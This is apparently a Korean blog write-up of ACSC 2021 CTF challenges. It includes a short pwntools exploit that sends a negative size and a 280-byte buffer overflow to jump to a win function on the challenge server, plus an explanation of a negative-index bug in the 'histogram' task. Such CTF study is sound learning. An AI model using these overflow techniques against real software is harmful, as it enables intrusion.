ACSC(Asia Cyber Security Challenge) 2021 Writeup

728x90

PWN

filtered

아주 쉬웠던 문제이다.

Integer Overflow가 일어나 입력받는 값의 사이즈를 매우 크게 정할 수 있으며 이를 통해 win함수를 호출해주면 끝

from pwn import *

p = remote('filtered.chal.acsc.asia', 9001)
e = ELF('./filtered')

win = 0x4011d6

payload = b"A"*280
payload += p64(win)

p.sendlineafter('Size: ', '-1')
p.sendlineafter('Data: ', payload)

p.interactive()

histogram

제일 시간을 많이 썼던 문제.

read_data에서 map의 인덱스를 -으로 만들어서 원하는 함수의 값을 overwrite하는것임을 알았지만 1.0이하의 값은 쓸수가 없었으며,  NaN이라는 값을 알지 못하여 인덱스를 음수로 만들지 못해 풀지 못했던 문제.

short i, j; // short=  -32768~32767
i = (short)ceil(weight / WEIGHT_STRIDE) - 1; // 여기서 음수로 인덱스를 만들 수 있다.
j = (short)ceil(height / HEIGHT_STRIDE) - 1;
  
map[i][j]++;
wsum[i]++;
hsum[j]++;

return 0;

weight가 1이하이면(0이거나 0.xxx) weight / WEIGHT_STRIDE의 값은 0.00~~이 되고, ceil함수를 통해(반올림하여 실수를 정수로 만듬) 0이 되며, 0-1 = -1이 되기 때문에 i,j의 값을 음수로 만들 수 있다.

자세한 write-up은 못푼문제 카테고리를 참조

MISC

welcome

 

rule을 알려주는 페이지의 페이지 소스를 보면 확인 가능

 

728x90

'CTF-Writeup' 카테고리의 다른 글

Killer Queen CTF 2021 Write-Up  (0) 2021.10.30
2021 TSG CTF Write-up  (0) 2021.10.05
2021 tamuctf Writeup  (0) 2021.09.17
Grabcon2021 Write-up  (0) 2021.09.17
DCTF 2021 Write-up  (0) 2021.08.23